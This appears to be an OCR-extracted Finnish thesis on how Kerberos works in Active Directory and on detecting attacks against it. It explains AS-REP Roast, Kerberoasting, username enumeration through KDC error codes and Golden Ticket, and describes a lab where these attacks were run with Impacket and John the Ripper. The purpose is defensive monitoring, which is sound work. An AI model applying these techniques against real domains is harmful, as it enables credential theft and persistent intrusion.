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The thesis examined how the Kerberos protocol works and how a potential threat
actor could be detected in a business environment. The main objectives of the
thesis are to create and improve the Kerberos related rules used in monitoring
business environments, and to also offer better understanding of the way that the
protocol works.

The thesis was worked on by both learning theory about the protocol and by con-
ducting practical experiments. The theory from Kerberos’ RFC entry was studied,
so that individual network packets could be analyzed for each message that the
protocol has. For practical tests, a test environment was built, which was then
attacked in different ways using vulnerabilities in the Kerberos protocol. The log
produced by the attacks was analyzed to understand the patterns in the attacks.

As a result, the rules that can be used to prevent future threats more efficiently
and reliably were created. The goal was to also reduce false positives by under-
standing the differences of regular user activities and that of an attacker’s just by
looking at the logs. In the thesis Kerberos’ operations were explained, and re-
search was done to cover Kerberos’ vulnerabilities. The thesis meets the objec-
tives set for it at the start and provides valuable information regarding the subject
it covers.
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1 JOHDANTO

Tybssa kasitellaan alun perin MIT:n (Massachusetts Institute of Technology)
vuonna 1993 julkaisemaa Kerberos-autentikointiprotokollaa, jolla on iastaan huo-
limatta suuri merkitys viela nykypaivanakin, silla sita kaytetaan Active Directory -
ymparistoissa tunnistautumiseen. Protokollassa perustana naissa ymparistoissa
on luottamus Active Directoryn luomaan palvelutunnukseen, joka pitaa halussaan

kaikkia salausavaimia, eli krbtgt-tunnukseen.

Koska protokolla toimii perustana tunnistautumiselle, se on oiva kohde myo6s
hyokkaajille, ja protokollassa onkin monia tunnettuja haavoittuvuuksia, joita hyo-
dyntamalla hyokkaaja voi saada laajemman paasyn palveluihin kuin pitaisi. Pro-
tokollaa kehitetdan aktiivisesti vanhojen haavoittuvuuksien paikkaamiseksi,
mutta monilla yrityksilla ei ole mahdollisuutta siirtya kayttamaan naita uudempia
versioita, joten ymparistd jaa taltd osin haavoittuvaiseksi. Taman takana ovat
paaosin vanhat laitteet tai ohjelmistot, jotka eivat esimerkiksi tue uusia salaus-
menetelmia. Jos haavoittuvuuksia ei ole mahdollista paikata, tulisi ne ymmartaa

mahdollisimman hyvin, jotta niiden hyvaksikayttda voidaan valvoa.

Opinnaytetyd syventyy Kerberoksessa olemassa oleviin haavoittuvuuksiin ja pro-
tokollan yleiseen toimintaan. Tavoitteena on ymmartaa milta Kerberoksen luoma
likenne ja tapahtumat nayttavat normaalissa tilanteessa, ja kuinka nama eri haa-
voittuvuuksien hyvaksikaytot voidaan havaita taman normaalin liikenteen jou-

kosta.

Taman tutkimuksen pohjalta voidaan luoda erilaisia saannostoja hyvaksikayton
automaattiseen valvontaan, jolloin tietynlaisesta tapahtumasta muodostuu haly-
tys. Tyota voidaan myos kayttaa apuna manuaalisessa tutkinnassa, jos auto-
maattista valvontaa ei voida toteuttaa. Naita tilanteita saattaisivat olla esimerkiksi
ne, joissa hyvaksikayttdo naamioituu normaaliin liikenteeseen, ja automaattinen

valvonta loisi liikaa vaaria halytyksia.



2 KERBEROKSEN TOIMINTA

Kappaleessa kuvataan Kerberoksen toiminta yleisella tasolla, yksityiskohtaisem-
min vaihe kerrallaan, ja salausmenetelmista kerrotaan tarvittavat lahtotiedot.
Kappaleen tarkoituksena on antaa vankka pohja seuraaville kappaleille, joissa
tassa kappaleessa kaytyihin konsepteihin ja Kerberoksen toimintamalleihin viita-

taan.

2.1 Yleiskuvaus protokollan toiminnasta

Kun kayttaja haluaa autentikoitua Kerberoksella johonkin palveluun, esimerkiksi

verkkosivulle, prosessi menee seuraavanlaisesti:

1. Kayttaja pyytaa KDC:lta (Key Distribution Center) TGT:ta (Ticket Granting
Ticket) - (AS-REQ)

2. KDC vastaa kayttajalle TGT:lla - (AS-REP)

3. Kayttaja pyytaa haluttuun palveluun ST:ta (Service Ticket) - (TGS-REQ)

4. KDC vastaa kayttajalle ST:lla - (TGS-REP)

5. Kayttaja esittda ST:n palvelulle ja pyytaa paasya palveluun - (AP-REQ)

6. Palvelu lahettaa kayttajalle tunnisteen todistaakseen identiteettinsa - (AP-
REP)

Vaihe 6 on vapaaehtoinen, ja tata ei ole pakko tehda tunnistuksen ja palvelun
kayttamisen kannalta. Tama kuitenkin suojaa kayttajaa hyokkaajalta, joka yrittaa
esiintya palveluna, mita se ei ole. Koko autentikointiprosessi on kuvattu visuaali-

sesti kuviossa 1.
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KUVIO 1. Kerberos-autentikointiprosessi.

KDC koostuu kahdesta eri osasta, Authentication Service (AS) ja Ticket-Granting
Service (TGS). Yksinkertaisuudessaan AS myontaa TGT:t ja TGS myontaa ST:t.
TGT on ensimmainen asia, jonka kayttaja pyytaa, olettaen etta kayttajalla ei ole
jo TGT:ta (Microsoft 2021b). TGT:ta kaytetdan ST:n pyytamiseen, joka puoles-
taan antaa paasyn ST:ssa maaritettyyn palveluun. Saatuja tiketteja voidaan kayt-

taa uudelleen niiden vanhenemisaikaan saakka.

2.2 Yksittaiset pyynnot ja vastaukset

Kerberos-protokollan pyynndilla ja vastauksilla on kullakin oma tarkoituksensa ja
rakenteensa. Nama kaydaan tarkemmin 1api, jotta saadaan parempi ymmarrys
protokollan toiminnasta, ja jotta voidaan analysoida, miksi tietyt haavoittuvuudet

toimivat.



2.21 AS-REQ

Aloittaakseen Kerberos-tunnistautumisen, kayttajan tulee lahettdd KDC:lle AS-
REQ-pyyntd, joka sisaltda kayttajanimen, jona palveluita halutaan kayttaa (Neu-
man, Yu, Hartman & Raeburn 2005). Yleensa tama pyynto lahtee aluksi ilman
esiautentikointia (pre-authentication), mutta jos KDC niin vaatii, pyyntd lahete-
taan uudelleen esiautentikoinnilla (kuvio 2). Tama tarkoittaa kaytanndssa sita,
etta kayttaja salaa omalla salaisuudellaan, yleensa salasanalla, tamanhetkisen
aikaleiman UTC-ajassa. Tata aikaleimaa kutsutaan autentikaattoriksi. Kayttaja
lahettaa sen KDC:lle, jonka jalkeen KDC purkaa salauksen kayttajan salaisuu-
della, ja lukee autentikaattorin. Huomionarvoista tassa on, etta KDC tietaa kaik-

kien kayttajien ja palveluiden salaisuudet, tai ainakin niiden tiivisteet (hash).

Source Destination Protocol Length Info

OP-PCR1 DC KRES 281 AS-REQ

DC OP-PCRL KRES 226 KRB Error: KRBESKDC_ ERR_PREAUTH_REQUIRED
OP-PCa1 D KRES 341 AS-REQ

KUVIO 2. KDC pyytaa kayttajaa kayttamaan esiautentikointia.

AS-REQ rakentuu siis hieman eri tavoin, riippuen vaatiiko KDC kayttajalle esi-
autentikointia, vaiko ei. Jos esiautentikointia ei vaadita, AS-REQ-pyynndsta puut-
tuu kokonaan yksi PA-DATA-elementti, eli pre-authentication data -elementti.
Puuttuva PA-DATA-elementti on pA-ENC-TIMESTAMP, eli tama kayttajan salai-
suudella salattu aikaleima. Verkkoliikennetta tarkasteltaessa tama ero on erittain

helppo huomata.

Vv Kerberos
Record Mark: 283 bytes
Vv as-req
pvno: 5
msg-type: krb-as-req (10)
v padata: 1 item
v PA-DATA pA-PAC-REQUEST
v padata-type: pA-PAC-REQUEST (128)

include-pac: True

req-body

KUVIO 3. AS-REQ-pyynté ilman esiautentikointia.
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> Record Mark: 283 bytes
~

pvno: 5
msg-type: krb-as-req (10)

etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)

patimestamp: Mar 14, 2025 13:23:28.000000000 Coordinated Universal Time
pausec: 257159
v PA-DATA pA-PAC-REQUEST
v padata-type: pA-PAC-REQUEST (128)
Vv padata-value: 3005a0030101ff
include-pac: True

> req-body

KUVIO 4. AS-REQ-pyynt6 esiautentikoinnilla.

Kuviossa 3 oletuksen mukaisesti ei ole juurikaan mitddn mainittavaa AS-REQ-
pyyntda ja PA-DATAa katsottaessa. Kuviossa 4 on ympyroity punaisella esi-
autentikoinnin aikaleima, jonka KDC saa luettavakseen, mikali kayttajan syot-
tama salasana on oikein. Esiautentikoinnissa KDC yrittaa purkaa aikaleiman sa-
lauksen kayttajan omalla salaisuudella, ja mikali se ei onnistu, esiautentikointi

epaonnistuu. AS-REQ-pyyntd on kuvattu visuaalisesti kuviossa 5.

/ AsReq N

Autentikaattori
Mar 14, 2025 13:23:28

soap@flare.corp

- /

KUVIO 5. AS-REQ-pyynnén sisalto.
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2.2.2 AS-REP

KDC lahettaa kayttajalle takaisin AS-REP-vastauksen, kunhan esiautentikointi
onnistuu, tai sité ei vaadita (Neuman ym. 2005). AS-REP-vastaus koostuu istun-
toavaimesta (Session Key) ja TGT:sta. TGT:n sisalla on kayttajan tiedot, esimer-
kiksi tieto ryhmajasenyyksista seka kopio istuntoavaimesta. Ensimmainen istun-
toavain on salattu kayttajan omalla salaisuudella, jolloin kayttdja voi purkaa sa-
lauksen ja vastaanottaa istuntoavaimen. TGT, jonka sisalla on kopio istuntoa-
vaimesta, on puolestaan salattu krbtgt-nimisen tilin salaisuudella. Krbtgt on Ac-

tive Directoryssa oletusarvoisesti oleva tili, joka on KDC:n palvelutili.

Toinen istuntoavaimista on siis suojattu kayttgjalta. Tama tehdaan siksi, etta kayt-
taja voidaan luotettavasti tunnistaa seuraavan kerran, kun se kommunikoi KDC:n
kanssa. Kerberos on tilaton (stateless) protokolla, jolloin se ei sailyta tietoja edel-
lisista pyynnoista. Salaus on myos olennainen siksi, ettei kayttdja muokkaa
TGT:n tietoja, ja lisaa itselleen liiallisia kayttooikeuksia. AS-REP-pyynt6 on ku-

vattu visuaalisesti kuviossa 6.

/AS-REP \

Session Key

- a
Q e
o /

KUVIO 6. AS-REP-vastauksen sisalto.

TGT
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2.2.3 TGS-REQ

Vastaanottaessaan AS-REP-vastauksen, kayttaja purkaa istuntoavaimen sa-
lauksen omalla salaisuudellaan. Kayttaja vastaanottaa myos TGT:n, joka on sa-
lattu krbtgt:n salaisuudella, ja kayttaja ei saa tata auki. Nailla tiedoilla kayttaja on
valmis pyytamaan KDC:ltd haluamaansa palveluun ST:ta. TGT on oletusarvoi-
sesti voimassa 10 tuntia, ja sen voi uusia viikon ajan, kunhan TGT ei ole mennyt

vanhaksi.

Halutessaan johonkin palveluun paasyn, kayttaja lahettaa KDC:lle TGS-REQ-
pyynnon (Neuman ym. 2005). Tassa pyynnossa tulee olla maariteltyna palvelu,
johon paasy halutaan, kayttajan TGT + istuntoavain ja autentikaattori. Autenti-
kaattoria ei talla kertaa salata kayttajan salausavaimella, vaan AS-REP-vastauk-
sessa saadulla istuntoavaimella. Samaan tapaan kuin AS-REQ-pyynndssa, au-
tentikaattori on sen hetkinen aikaleima. Tama aikaleima ilmoitetaan UTC-aikana.

TGS-REQ-pyyntd on kuvattu visuaalisesti kuviossa 7.

/ TGS-REQ N

Autentikaattori

Mar 14, 2025 13:23:28 Q
@

HTTP/www.flarecorp.com

. /

KUVIO 7. TGS-REQ-pyynndn sisalto.

TGT
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2.2.4 TGS-REP

Kun KDC vastaanottaa TGS-REQ-pyynnon, se ensimmaiseksi todentaa kaytta-
jan purkamalla TGT:n salauksen. KDC yrittaa taman jalkeen purkaa autentikaat-
torin salauksen TGT:n sisalta Ioytyvalla istuntoavaimella. Jos tdama onnistuu,
KDC tietaa, etta kayttaja, joka pyynnon on lahettanyt, on todella sama, kuin mita

TGT:ssa ilmoitetaan. (Neuman, ym. 2005.)

Autentikaattori on salattu AS-REP-vastauksen yhteydessa lahetetylla istuntoa-
vaimella, jonka kayttaja voi tietda vain, jos hanella on tiedossa hanen oman kayt-
tdjansa salaisuus. TGT puolestaan on suojattu edelleenkin krbtgt:n salaisuudella,
joka takaa, etta sen sisaltoa ei ole muokattu. Nain KDC voi olla varma, etta kayt-
taja itse on lahettanyt TGS-REQ-pyynnon.

Kun tdma todennus on tehty, KDC lahettaa kayttajalle TGS-REP-vastauksen.
Tassa vastauksessa on uusi istuntoavain kayttajalle seka istuntoavaimen yhtey-
dessa toimitettava palvelun nimi. Nama molemmat salataan aiemmin AS-REP-
vastauksessa lahetetylla istuntoavaimella. Vastauksessa on taman lisaksi ST,
jonka sisalla on palvelun nimi, jota ei salata millaan tapaa. ST:n sisalla on myds
palvelun salaisuudella salattuna kopio kayttajan tiedoista seka kopio istuntoa-

vaimesta. TGS-REP-pyyntd on kuvattu visuaalisesti kuviossa 8.

/ TGS-REP N\

Istuntoavain

-

HTTP/www flarecorp.com

ST HTTP/www flarecorp.com

B o~
o /

KUVIO 8. TGS-REP-vastauksen sisalto.




14

2.2.5 AP-REQ

Kayttajan vastaanottaessa TGS-REP-vastauksen, kayttdja kykenee purkamaan
uuden istuntoavaimen salauksen AS-REP-vastauksesta opitulla istuntoa-
vaimella. Taman jalkeen kayttaja muodostaa AP-REQ-pyynnon, joka koostuu uu-
della istuntoavaimella salatusta autentikaattorista seka vastaanotetusta ST:sta.
Kayttaja lahettdaa AP-REQ-pyynnon palvelulle, jonka jalkeen kayttdja paasee
kayttamaan palvelua hanelle maaritetyilla kayttooikeuksilla. Taman jalkeen on
viela vapaaehtoinen vaihe, AP-REP, jossa my0s palvelu tunnistautuu kayttajalle
lahettamalla takaisin aikaleiman, joka on salattu AP-REQ:n mukana lahetetylla
istuntoavaimella. Nain kayttaja voi olla varma, etta palvelu, jonka kanssa se kom-

munikoi, on oikea. AP-REQ-pyynt6 on kuvattu visuaalisesti kuviossa 9.

/ AP-REQ N

Autentikaattori
Mar 14, 2025 13:23:28

ST HTTP/www.flarecorp.com

B g
- /

KUVIO 9. AP-REQ-pyynnon sisalto.

2.3 Salausmenetelmat

Kerberos tukee monia eri salausmenetelmia viestinnan suojaamiseen, mutta ny-

kypaivana yleisimmat kaytetyt salausmenetelmat ovat seuraavat:

-  AES256-CTS-HMAC-SHA1-96
-  AES128-CTS-HMAC-SHA1-96
- RC4-HMAC-MD5
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RC4 on parhaiden kaytantdjen mukaisesti poistettu kaytdsta, mutta se on silti
laajalti kaytossa yritysymparistoissa, ja oletusarvoinen salausmenetelma uusille
kayttajamuotoisille palvelutunnuksille. Nykyaan suosituksena on kayttaa AES-sa-
lausta ja sita tukevatkin kaytanndssa kaikki modernit laitteet. RC4:aa ei suositella
enaa kaytettavaksi modernien laitteiden laskentatehon vuoksi, silla RC4-salattu
salasana on ainakin 880 kertaa nopeampi murtaa, kuin AES256:lla salattu sala-
sana. Luvut todettiin tydon aikana tehdylla mittauksella kayttaen Hashcat-ohjel-
mistoa, ja RX 7900 XT -naytdénohjainta. Taman lisdksi RC4:ssa on muitakin haa-

voittuvuuksia, jotka mahdollistavat salauksen purun suhteellisen helposti.

AS-REP-pyynnossa saatu TGT salataan aina krbtgt-tunnuksen vahvimmalla tue-
tulla salauksella, joka on moderneissa ymparistdissa AES256. Jos TGT on kui-
tenkin RC4:1l1a salattu modernissa ymparistossa, tama tarkoittaa sita, etta krbtgt-
tunnuksen salasanaa ei ole vaihdettu ikina sen jalkeen, kun ympariston paivitys
tehtiin Windows Server 2008:aan tai myohempaan versioon (Devore 2024). AS-

REP- ja TGS-REP-pyyntojen salauslogiikka on kuvattuna taulukossa 1.

Tutkimisen aikana l0ydettiin Iahteita, jotka viittasivat myos mahdollisuuteen tehda
niin kutsuttu "downgrade attack” palvelutunnuksia kohtaan. Tassa tilanteessa
ST:n tiedot salattaisiin RC4:114, vaikka palvelu tukee myos AES256:tta. Tata ei
kuitenkaan onnistuttu toistamaan Windows Server 2016 -asennuksella, eika

hyokkays toiminut mydskaan Windows Server 2022 -asennuksella.

Tiketti Istuntoavain

Vahvin AS-REQ-pyyn-
Vahvin krbtgt-tunnuksen

AS-REP non lahettaneen osa-
tukema salaus.

puolen tukema salaus.

Vahvin TGS-REQ-pyyn-
Vahvin palvelutunnuk-

TGS-REP non lahettaneen osa-
sen tukema salaus.

puolen tukema salaus.
TAULUKKO 1. Kerberoksen salauslogiikka AS-REP- ja TGS-REP-viesteissa.
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3 HAAVOITTUVUUDET

Kerberoksessa on monia eri tunnettuja haavoittuvuuksia, joilla hyokkaaja voi
saada enemman kayttéoikeuksia yrityksen ymparistdéon. Suurin osa naista hyok-
kayksista on estettavissa konfiguraatiomuutoksilla, mutta tama ei ole aina mah-
dollista. Vanhat laitteet eivat esimerkiksi valttamatta tue uudempia salausmene-
telmia, joka luo ongelman kyberturvallisuuden nakokulmasta, kun tunnettuja haa-
voittuvuuksia ei voidakaan paikata. Talloin on aarimmaisen tarkeaa pystya ha-
vaitsemaan ajoissa, kun naitd haavoittuvuuksia kaytetaan, jotta hyokkaaja saa-
daan eristettyd muusta ymparistosta mahdollisimman pian. Tassa kappaleessa
kaydaan lapi kaikki yleisimmat haavoittuvuudet, joita hyokkaaja saattaisi hyodyn-
taa ymparistoon paastyaan. Tyodssa haavoittuvuudeksi luetaan myos ympariston
konfiguraatioiden luoma tila, jossa Kerberos on haavoittuvainen tietyille hyok-
kayksille, seka erilaiset suunnitteluvirheet, jotka mahdollistavat hyokkaykset,

vaikka protokollan toiminta olisi taysin suunniteltua.

3.1 AS-REP Roast

AS-REP Roast -hyokkays kayttaa hydodykseen Kerberos-protokollan tapaa salata
istuntoavain AS-REP-vastauksessa. AS-REP-vastauksessa istuntoavain suoja-
taan kayttajan omalla salaisuudella, jolloin hydkkaaja voi tallentaa taman salatun
istuntoavaimen AS-REP-vastauksesta. Tassa tilanteessa istuntoavain, seka
kayttajan salasana, ovat haavoittuvaisia brute-force-hyokkaykselle. Jos istuntoa-
vaimen salauksen purku onnistuu jollakin tietylla salasanalla, hyokkaaja tietaa

taman olevan kayttajan salasana. (Dibley 2024.)

Hyvana puolena tassa yllapitajille on se, etta Kerberos ei oletusarvoisesti laheta
AS-REP-vastausta, ellei pyytava osapuoli tieda jo kayttajan salasanaa. Oletusar-
voisesti Kerberos vaatii esiautentikointia, jotta se lahettda AS-REP-vastauksen.
Yksittaisille kayttajille on kuitenkin mahdollista konfiguroida asetus, joka poistaa
taman vaatimuksen kaytosta (kuvio 10). Tama asetus AD:ssa on "Do not require

Kerberos preauthentication”, ja sita kaytetaan usein vanhempien jarjestelmien
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vuoksi, jos ne eivat tue esiautentikointia. Kun asetus on konfiguroitu, kuka ta-
hansa voi pyytaa KDC:lta kyseiselle kayttajalle TGT:t4, jolloin he saavat KDC:lta
AS-REP-vastauksen. Tama asetus on erittain vaarallinen, silla pyytavan laitteen
ei tarvitse edes kuulua toimialueeseen. Riittaa, etta tietokoneen viestit menevat
perille KDC:lle.

Roach Properties 7 X
Member Of Dialin Environment Sessions
Remote control Remote Desktop Services Profile COM+

General Address Account Profile Telephones Organization

User logon name:

|roach | (@lare.comp ~

User logon name (pre-Windows 2000):
[FLARE: | [raach

Logon Hours... Log On To...

[ Unlock aceourt

Account options:

[ Use only Kerberos DES encryption types for this accourt ~
[ This account supports Kerberos AES 128 bit encryption.

This account supports Kerberog AES 256 bit encryption.
Da niot require Kerberos preauthentication v

Accourt expires

(®) Mever
() End of: Saturday . Aprl 15, 2025

Cancel Apply Help
KUVIO 10. AS-REP Roast -hyodkkaykselle haavoittuvainen kayttaja.

3.2 Kerberoasting

Kerberoasting, jonka Idysi alun perin SANS-kouluttaja Tim Medin, on AS-REP
Roast -hydkkaykseen verrattava hydkkays, silla sekin keskittyy KDC:ltd saadun
vastauksen salauksen murtamiseen brute-force-hyokkayksella (Perez 2021).
Talla kertaa kohde ei ole kayttajan salasana, vaan palvelun salasana. Hyokkays
kohdistuu siis KDC:lta saatuun TGS-REP-vastaukseen.

Tassa vaiheessa hyokkaajalla tulee olla hallussaan toimialueella oleva kayttaja-
tunnus seka sen salasana, NTLM-tarkiste, tai vahintaan voimassa oleva TGT.

Hyodkkaaja pyytaa KDC:lta ST:ta, ja yrittdd murtaa ST:n salauksen, silla se on
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salattu palvelun salasanalla. Jos palvelutunnuksena toimii tietokonetunnus, sala-
sana on liki mahdoton murtaa, silla tietokonetunnuksen salasana vaihtuu oletuk-
sena 30 paivan valein, ja se on 120 merkkia pitka (Metcalf 2014). Jos kuitenkin
palvelutunnuksena kaytetdan manuaalisesti luotua kayttajatunnusta (kuvio 11),
salasana on ihmisen asettama, ja talloin on hyva mahdollisuus, etta salasana on
heikko. Hyokkaajat saattavat olla viela tarkempia tdman kanssa, ja kohdistaa
hyokkaysyrityksensa vain tunnuksiin, joiden salasanaa ei ole vaihdettu moneen
vuoteen. Tama indikoi viela vahvemmin, etta salasana on heikko, silla salasano-
jen monimutkaistaminen on otettu kayttoon eri yrityksissa suurella aikavalilla, ja

joillakin salasanavaatimukset ovat vielékin heikohkoja.

swc_web01 Properties ? X
Organization Member Cf Dialin Environment Seszions
Remuote cortrol Remuote Desktop Services Profile COM+

General Address Account Profile Telephores Delegation

User logon name:

|H'ITPfOP—‘."u'EBD1 flare comp | @flare comp A
User logon name (pre-Windows 2000):
FLARE: | [sve_web01]
Logon Hours... Log On Ta...
] Unlock account
Account options:

[J User must change password at next logon
[ User cannat change passward

Password never expires

[ Store password using reversible encryption W

Account expires

(®) Never
() End of: | Sunday . Aprl 20 2025

Cancel Apply Help

KUVIO 11. Manuaalisesti luotu palvelutunnus.

3.3 Kerberoasting ilman toimialuetunnusta

Kerberoasting ilman toimialuetunnusta on suhteellisen tuore hyokkays, silla se
I6ydettiin vasta vuonna 2022 Charlie Clarkin toimesta. HyOkkayksessa autenti-

koimaton kayttaja pystyy pyytamaan TGT:ta mille tahansa palvelulle, ja saamaan
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taten palvelun salasanalla salatun istuntoavaimen. Hyokkaaja voi Kerberoastin-
gista tuttuun malliin murtaa tdman istuntoavaimen salauksen brute-force-hyok-

kayksella, ja selvittda palvelutunnuksen salasanan. (Clark 2022.)

Hydkkays on helppo toteuttaa. Hyokkaajan tulee vain lahettaa AS-REQ-pyyntd,
joka sisaltaa hyokkaajan haluaman palvelun, jolloin KDC salaa AS-REP-vastauk-
sessa olevan tiketin palvelun salaisuudella. Yleensa kayttajat pyytavat palvelu-
tunnukselle ST:ta, eli siis lahettavat KDC:lle TGS-REP pyynndn. Tama toiminnal-
lisuus on MSRC:n (Microsoft Security Research Center) mukaan odotettua, joten

talle ei ole odotettavissa virallista korjausta. (Clark 2022.)

Hyokkayksessa ainoa haaste on alustavan tiedon saanti. Hyokkaajalla ei ole toi-
mialueelle suoraa paasya, jonka vuoksi han ei voi pyytaa palveluiden kaytta-
janimia LDAP:lla. Koska Kerberoasting kuitenkin vaatii palvelutunnuksen nimen
tietamisen, hydkkaajan pitaa saada se tietoonsa jollakin muulla tapaa. Tama on
mahdollista esimerkiksi kokeilemalla eri kayttajanimia Kerberosta vasten tai
RPC/SMB Null Sessionin kayttd kayttajien selvittamiseen.

3.4 Kayttajatunnusten luetteloiminen Kerberoksella

Kayttajatunnusten luetteloiminen (enumeration) on tarkead osa hyokkaysketjua
varsinkin niissa tilanteissa, joissa hyokkaajalla ei ole viela toimialuetunnusta hal-
lussaan. Hyokkaaja voi haluta selvittaa kayttajatunnukset, jotka eivat vaadi esi-
autentikointia, jotta se pystyisi suorittamaan esimerkiksi AS-REP Roast -hyok-
kayksen. Hyokkaajalla voi olla monia muitakin syita kayttajatunnuslistauksen te-
koon, kuin AS-REP Roast -hydkkays, mutta Kerberoksen kohdalla se lienee ilmi-

selvin.

Tama tapahtuu kaytannossa siten, etta hyokkaajalla on valmiina lista mahdollisia
kayttajatunnuksia, joille han yrittda pyytaa TGT:ta. Taman listauksen hyokkaaja
on saanut useimmiten avointen Iahteiden tutkimisesta, ja muodostamalla listan
manuaalisesti. KDC vastaa naihin TGT-pyyntoihin eri virhekoodilla riippuen siita,
onko tunnus olemassa vai ei, ja vaaditaanko tunnukselta esiautentikointia (Mic-
rosoft 2021a):
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- Tunnusta ei ole: 0x6, KDC_ERR_C_PRINCIPAL_UNKNOWN
- Tunnus on olemassa, ja vaatii esiautentikoinnin: 0x19, KDC_ERR_PRE-
AUTH_REQUIRED

- Tunnus on olemassa, ja ei vaadi esiautentikointia: 0x0, KDC_ERR_NONE

Myds muita virhekoodeja on, mutta nama ovat yleisimmat tassa skenaariossa.

3.5 Golden Ticket

Golden Ticket -hyokkayksessa on kyse siita, ettd hyokkaaja saa kasiinsa krbtgt-
tunnuksen NTLM- tai AES-tiivisteen, ja taman avulla hyokkaaja voi luoda mieli-
valtaisen TGT:n (Petri n.d.). Hydkkays vaatii paikallisen jarjestelmanvalvojan oi-
keuden jollekin DC:lle, Domain Admin -tunnukset, tai tunnuksen, jolla on "Repli-

cating Directory Changes All” ja "Replicating Directory Changes” -oikeudet.

Jos hyokkaajalla on jo Domain Admin -tunnus, tai jokin muu laajan paasyn tunnus
hallussaan, niin miksi Golden Ticket -hydkkays on uhka? Uhka ei ole puhtaasti
kayttdoikeuksissa, vaan myos persistenssissa. Toisin sanoen, miten hyokkaaja
saa sailytettya asemansa ymparistossa. Jos alkuperainen hyokkays esimerkiksi
Domain Admin -tunnukselle huomataan, mutta Golden Ticket -hydkkaysta ei,
hyokkaajalla on vielakin taysi paasy ymparistdodn. Hyokkaajan luoma TGT on voi-
massa niin kauan, kuin siihen on maaritelty, jolloin hyokkaaja voi pyytda myods
palveluihin tiketteja yhta kauan. Koska TGT on naennaisesti krbtgt-tunnuksen
luoma, ja taten oikeellinen, tama voimassaoloaika voi olla kaytanndssa mita vain,
rippumatta toimialueen asettamista rajoituksista, ja TGT:n muitakin tietoja voi
muokata vapaasti. Ainoa poikkeus tahan on kayttajanimi, jonka on nykyaan ol-

tava oikeellinen.

Kuvitellaan viela, etta ympariston yllapitajat huomaavat Domain Admin -tunnuk-
sen vaarantuneen, ja nollaavat sen salasanan. Vaaran luulisi olevan tdssa kohtaa
ohitse, mutta nain ei ole. Jos muistellaan TGS-REQ-pyyntoa, KDC ei tassa koh-
taa vaadi enaa kayttajan salasanaa, vaan pyynndssa olevan istuntoavaimen tas-

maamisen TGT:ssa olevaan ja sita, etta tiketti on voimassa. Kayttajan salasanan
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nollaaminen ei siis lukitse hyokkaajaa ulos. Ainoa tapa saada hyokkaaja ulos jar-
jestelmasta on nollata krbtgt-tunnuksen salasana kaksi kertaa, jolloin kaikki van-
hat tiketit mitatoityvat. Microsoft suosittelee, etta salasana vaihdetaan ensin ker-
ran, ja 10 tunnin jalkeen uudelleen, jos TGT:n pisin sallittu elinikd on 10 tuntia
(Microsoft 2024a). Tama ei tassa tilanteessa ole oikea toimintatapa, silla hyok-
kaaja voi viela kayttaa Golden Tickettia 10 tuntia, ja luoda uuden Golden Ticketin
uudella krbtgt-salasanalla. Hydkkaaja voi toimia nain, silla Golden Ticket mahdol-

listaa DCSync-hydkkayksen toteuttamisen uudelleen.

Krbtgt-tilin salasana tulisi nollata mahdollisimman pian kaksi kertaa, jotta vanhoja
tiketteja ei hyvaksyta KDC:n toimesta, kuitenkin varmistuen Domain Controllerien
valisesta replikoinnista. Krbtgt-tilin salasananvaihdoksen replikointia voi seurata
manuaalisesti Domain Controllereilta tarkkailemalla tilin pwdLastSet-attribuutin
arvoa, tai esimerkiksi kayttaen LockoutStatus-tydkalua. Jos salasana vaihdetaan
lian nopeasti kaksi kertaa, DC:t eivat enaa luota toisiinsa, silla kumpikaan krbtgt-
tilin kahdesta viimeisesta salasanasta ei tasmaa toisen DC:n krbtgt-tilin salasa-

nojen kanssa.

Microsoftin ohjeistus on hyva normaalissa tilanteessa, jossa halutaan valttaa pal-
veluiden ja kayttajien yhteyksien katkeamista. KDC sailyttaa kaksi viimeisinta
krbtgt-tunnuksen salasanaa, joten kun tunnuksen salasanan vaihtaa kerran, van-
hat tiketit kayvat viela. Kun salasanan vaihtaa toisen kerran 10 tunnin jalkeen,
kaikki kayttajat ja palvelut ovat saaneet TGT:n uudella krbtgt-salasanalla salat-
tuna, jolloin krbtgt-tunnuksen salasanan nollaaminen vield kerran ei katkaise pal-
veluiden eika kayttajien yhteyksia. Kun tasta mennaan viela eteenpain 10 tuntia,

kaikilla kayttgjilla on uusimmalla krbtgt-salasanalla salattu TGT.
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4 HYVAKSIKAYTON KUVAAMINEN

Jotta hyokkaajan tavat ja itse hyokkays voidaan ymmartaa paremmin, on tarkeaa
testata hyokkaystilannetta testiymparistossa. Talla menetelmalla saatiin lokia, ta-
pahtumia, seka havaintoja, joilla pystyttiin paremmin muodostamaan selkeita
eroavaisuuksia normaalin ja haitallisen liikenteen valille. Testiymparistossa kay-

tossa oli nelja laitetta:

- Windows Server 2022 -palvelin (10.0.0.4)
- Windows 11 -tydasema (10.0.0.5)

- Debian-pohjainen tytéasema (10.0.0.6)

- Ubuntu-pohjainen palvelin (10.0.0.7)

Debian- ja Windows 11 -tydasemia kaytettiin niin normaalin likenteen tuottami-
seen, kuin haitallisien toimien tekemiseen. Windows Server toi AD-palvelut tyo-
asemille ja palvelimille, kun taas Ubuntu-palvelimella oli verkkosivut, johon au-
tentikointi tapahtui Kerberoksella. Kaikki hyokkayksissa kaytetyt oleelliset komen-

not ovat dokumentissa liitteena (liite 2).

4.1 AS-REP Roast

AS-REP Roast -hyokkaykseen hyokkaaja tarvitsee yhteyden johonkin KDC:hen,
eli yleensa toimialueen Domain Controlleriin, seka kayttajalistan, jossa olevilla
kayttajilla on esiautentikointi mahdollisesti poistettuna kaytosta. Hyokkayksen de-
monstroimisessa kaytettiin avoimen lahdekoodin Impacket-kokoelmaa seka John

the Ripperia (JtR), mutta hydokkaykseen on saatavilla muitakin tydkaluja.

Aloittaakseen hyokkayksen, hyokkaajan tulee saada kayttajalistaus jollakin ta-
paa. Jos hyokkaaja on saanut haltuunsa toimialueella olevan tietokoneen, tama
on helppoa, silla LDAP-kyselyilla (lite 1) kayttajien selvittdminen kay muuta-

massa sekunnissa. Tama on kuvattu kaytanndssa kuviossa 12.
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# Windows PowerShell X + -

PS C:\Users\soap\Desktop> .\No_PreAuth_LDAP_Query.psl

Pre—authentication disabled for the following users:

PS C:\Users\soap\Desktop> |

KUVIO 12. LDAP-kyselylla haetut kayttajat, jotka eivat vaadi esiautentikointia.

Jos hyokkaaja ei ole paassyt toimialueella olevaan tietokoneeseen, ja silla ei ole
kayttajatunnusta, hyokkaajan on myods mahdollista hankkia kayttajia esimerkiksi
